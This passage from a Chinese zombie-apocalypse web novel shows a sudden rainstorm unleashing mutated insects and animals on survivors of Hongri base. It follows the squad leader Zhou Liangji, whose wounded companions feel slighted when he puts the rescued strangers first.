曾经,这位强大丧尸的进化之路就是这么走的,天地万物,只要是有利于她进化的,她什么不吃呢。 这一次,自己已经改变了一些事情,实在不该干涉更多。 她看向身边干干净净手捧零食的乖少年:“咱不吃那些,挺好的。” …… 红日基地。 这场暴雨来得太突然,从乌云滚过来到雨滴落下,短短几分钟而已。 基地外面的人一时都来不及赶回来。 于是就有很多人选择就地躲雨。 然而,这一躲就坏事了,也就片刻功夫,他们发现地底下、角落里,钻出来各种各样的虫子,空中也飞来各种蚊子、蛾子、飞蚁之类的东西,逮着人各种咬。 一回头,那墙上的藤蔓不知道什么时候长得那么高那么密了,叶片周围还是锯齿状的,蹭到皮肤又疼又痒,一不留神,一丛丛杂草又缠住了车轮。 正忙着处理这些的时候,一些猫狗蛇鼠、蝙蝠飞鸟之类的东西,一波一波地冒出来…… 哪怕敢出基地的人大多是有异能的,也扛不住这绵绵不尽的麻烦。 于是,人们只能一边应付这些,一边冒雨往基地方向跑。 那支从西镇回去的小队也是如此,他们救了一大堆人回去,三辆车全部严重超载,于是在暴雨下来不久后,车子就抛锚了。 密集浓郁的人味吸引来各种敌人,他们艰难抵挡着,最后只能弃车逃跑,因为还需要护着一群伤者,他们一路上狼狈极了。 等终于回到基地,每个人都伤痕累累,尤其被虫子咬得满身包,还有人被类似水蛭一样的东西钻进了皮肉里。 周良吉总算从万箭穿心般的痛苦中解脱出来,长达三小时的剧痛,让他几乎都要心衰了。 但听说同伴们的惨状,他还是赶紧过来了,看到每个人都这么凄惨,他无比自责:“都怪我,都是因为我你们才出去的,是我害了你们。” “没事没事,谁知道会突然下这么一场雨,那些丧尸虫子都跟疯了一样。”同伴们龇牙咧嘴,反过来安慰他,“看着严重,都是皮肉伤,就是异能耗尽了,我们吸收会晶核就好了。” 周良吉一看,确实如此,他放心了不少:“那就好。” 转头一看,那些被从西镇救出来的人伤势就严重多了,个个都有生命危险了。 他赶紧叫治疗型的异能者给他们治疗,然而到处都是伤员,根本忙不过来,就连普通的医务人员都没有多的。 好不容易靠着自己的面子拉来一个治疗异能者:“快,先给他们治疗,他们快撑不住了!” 他的同伴们:“……” 不是,我们说只是皮外伤,你就真的不管了? 虽说伤得不重,但这火辣辣的疼是真的,一路上的惊心动魄是真的,为了周良吉才走这么一遭也是真的。 如今却被这么扔在一边,看着周良吉为一群外人忙前忙后,火急火燎……甚至他们这伤有大半就是为了这群外人受的。 说他不该这么做吧,好像他也没做错,他一直都是这样热心善良的。 只是,这种滋味,实在是……不知该说什么好。